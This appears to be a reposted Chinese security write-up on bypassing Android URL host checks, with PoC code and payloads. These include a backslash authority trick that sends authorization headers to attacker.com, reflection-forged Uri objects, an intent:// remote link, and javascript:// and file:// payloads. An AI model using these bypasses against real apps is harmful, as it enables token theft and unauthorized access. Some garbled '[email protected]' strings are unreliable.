天天看點

在Android應用中繞過主機驗證的小技巧

在Android應用中繞過主機驗證的小技巧

反斜杠技巧

檢視典型的主機驗證代碼:

Uri uri = Uri.parse(attackerControlledString);
if("legitimate.com".equals(uri.getHost() || uri.getHost().endsWith(".legitimate.com")) {
    webView.loadUrl(attackerControlledString, getAuthorizationHeaders()); // or webView.loadUrl(uri.toString())
}           

複制

android.net.Uri

java.net.URL

的解析器中存在問題,它們不識别校驗權限部分中的反斜杠(如果你測試

java.net.URI

将顯示異常)。

String url = "http://attacker.com\\\\@legitimate.com/smth";
Log.d("Wow", Uri.parse(url).getHost()); // legitimate.com is printed!
webView.loadUrl(url, getAuthorizationHeaders()); // attacker.com is loaded :P           

複制

思考

以下是相對安全的URL驗證示例:

Uri uri = getIntent().getData();
boolean isOurDomain = "https".equals(uri.getScheme()) && uri.getUserInfo() == null && "legitimate.com".equals(uri.getHost());
if(isOurDomain) {
    webView.load(uri.toString(), getAuthorizationHeaders());
}           

複制

android.net.Uri

在Android平台上被廣泛使用,但是如果你看一下源代碼,你會發現有一個帶有幾個内部子類的抽象類!我發現可以使用任意部分建構自定義URI

android.net.Uri$HierarchicalUri

。代碼

MainActivity.java

public class MainActivity extends Activity {

    protected void onCreate(Bundle savedInstanceState) {
        super.onCreate(savedInstanceState);

        Uri uri;
        try {
            Class partClass = Class.forName("android.net.Uri$Part");
            Constructor partConstructor = partClass.getDeclaredConstructors()[0];
            partConstructor.setAccessible(true);

            Class pathPartClass = Class.forName("android.net.Uri$PathPart");
            Constructor pathPartConstructor = pathPartClass.getDeclaredConstructors()[0];
            pathPartConstructor.setAccessible(true);

            Class hierarchicalUriClass = Class.forName("android.net.Uri$HierarchicalUri");
            Constructor hierarchicalUriConstructor = hierarchicalUriClass.getDeclaredConstructors()[0];
            hierarchicalUriConstructor.setAccessible(true);

            Object authority = partConstructor.newInstance("legitimate.com", "legitimate.com");
            Object path = pathPartConstructor.newInstance("@attacker.com", "@attacker.com");
            uri = (Uri) hierarchicalUriConstructor.newInstance("https", authority, path, null, null);
        }
        catch (Exception e) {
            throw new RuntimeException(e);
        }

        Intent intent = new Intent();
        intent.setData(uri);
        intent.setClass(this, TestActivity.class);
        startActivity(intent);
    }
}           

複制

代碼

TestActivity.java

public class TestActivity extends Activity {

    protected void onCreate(Bundle savedInstanceState) {
        super.onCreate(savedInstanceState);

        Uri uri = getIntent().getData();
        Log.d("Wow", "Scheme: " + uri.getScheme());
        Log.d("Wow", "UserInfo: " + uri.getUserInfo());
        Log.d("Wow", "Host: " + uri.getHost());
        Log.d("Wow", "toString(): " + uri.toString());
    }
}           

複制

在我本機測試,它顯示這種情況:

10-30 06:02:20.142 32044 32044 D Wow     : Scheme: https
10-30 06:02:20.142 32044 32044 D Wow     : UserInfo: null
10-30 06:02:20.142 32044 32044 D Wow     : Host: legitimate.com
10-30 06:02:20.142 32044 32044 D Wow     : toString(): https://[email protected]           

複制

這是因為apps隻解析一次url,雖然受害者應用程式不再解析它,但是信任從不受信任的來源會收到“already parsed”URI位址

遠端利用反斜杠技術

應用程式可以自動處理來自浏覽器的外部連結。這可以通過注冊特殊功能來完成。

intent-filter

<activity android:name=".DeeplinkActivity">
        <intent-filter android:autoVerify="true">
            <action android:name="android.intent.action.VIEW"/>
            <category android:name="android.intent.category.DEFAULT"/>
            <category android:name="android.intent.category.BROWSABLE"/>
            <data android:scheme="https" android:host="legitimate.com"/>
        </intent-filter>
    </activity>           

複制

在此步驟中,已經确認可以從第三方應用/ ADB攻擊該攻擊。如果您嘗試建立一個遠端PoC以比對過濾器(請記住,Android也用于

parsedIntent.getData().getHost()

比對intent-filters中定義的值)并觸發錯誤

<a href="https://attacker.com\\@legitimate.com/">Begin zaheck!</a>           

複制

或者

<a href="https://attacker.com%5C%[email protected]/">Begin zaheck!</a>           

複制

你會注意到,在第一個例子中,所有都

\

将被替換

/

,在第二個例子中,它們将被保留編碼,反斜杠技巧将不起作用。但仔細研究了

intent://

計劃如何工作後,我找到了一種遠端利用它的方法。簡介:

https://www.mbsd.jp/Whitepaper/IntentScheme.pdf

所有反斜杠都可以儲存在未更改狀态,例如URI的哈希部分,這裡https://android.googlesource.com/platform/frameworks/base/+/568faa8ed90d965faf302ca60677a40a5b84bf86/core/java/android/content/Intent.java#6334[1]

的PoC:

<a href="intent://not_used/#Intent;scheme=https://attacker.com\\@legitimate.com/;end">Begin zaheck!</a>           

複制

在這裡https://android.googlesource.com/platform/frameworks/base/+/568faa8ed90d965faf302ca60677a40a5b84bf86/core/java/android/content/Intent.java#6436[2] 它将等于

Uri.parse("https://attacker.com\\\\@legitimate.com/://not_used/")           

複制

攻擊變得遙遠!

缺少校驗方案

如果僅驗證主機值,但沒有任何有效的未驗證方案,則可以使用以下有效負載

javascript://

file://

scheme

javascript://legitimate.com/%0aalert(1)//           

複制

或者

file://legitimate.com/sdcard/payload.html           

複制

References

[1]

https://android.googlesource.com/platform/frameworks/base/+/568faa8ed90d965faf302ca60677a40a5b84bf86/core/java/android/content/Intent.java#6334: https://hackerone.com/redirect?signature=71735acdfb5134f5add5f5b183369f9bd36c3a6e&url=https%3A%2F%2Fandroid.googlesource.com%2Fplatform%2Fframeworks%2Fbase%2F%2B%2F568faa8ed90d965faf302ca60677a40a5b84bf86%2Fcore%2Fjava%2Fandroid%2Fcontent%2FIntent.java%236334

[2]

https://android.googlesource.com/platform/frameworks/base/+/568faa8ed90d965faf302ca60677a40a5b84bf86/core/java/android/content/Intent.java#6436: https://hackerone.com/redirect?signature=e9fc759af32db0bc7678daac432ee2fab8835e0a&url=https%3A%2F%2Fandroid.googlesource.com%2Fplatform%2Fframeworks%2Fbase%2F%2B%2F568faa8ed90d965faf302ca60677a40a5b84bf86%2Fcore%2Fjava%2Fandroid%2Fcontent%2FIntent.java%236436